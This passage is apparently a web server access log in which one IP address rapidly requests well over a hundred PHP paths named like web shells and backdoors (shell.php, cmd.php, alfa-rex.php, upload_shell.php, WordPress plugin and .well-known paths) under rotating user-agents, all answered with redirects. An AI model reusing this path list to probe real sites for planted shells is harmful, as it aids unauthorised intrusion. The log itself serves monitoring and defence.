"Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:51 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:51 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:52 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:52 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:53 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:54 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:54 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:54 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:49:54 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:54 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:55 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:56 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:56 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:56 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.36.48.76 - - [26/Apr/2025:04:49:56 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:56 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:56 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:49:58 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:58 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:58 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:59 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:00 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:00 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:01 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:01 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:01 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:01 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:01 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:02 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:02 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:02 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:50:02 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:50:02 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:03 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:03 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:03 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:03 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:04 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:04 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:04 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:05 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:05 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:06 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:06 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:07 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:08 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:08 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:09 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:10 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:11 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:12 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:12 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:13 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:13 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:13 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:13 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:14 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:50:14 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:15 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:16 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:16 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:16 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:16 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:17 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:17 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:18 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:18 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:19 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:19 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:19 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:20 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:20 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:20 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:20 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:20 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:21 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:22 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:22 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:22 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.36.48.76 - - [26/Apr/2025:04:50:22 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:23 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:24 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" 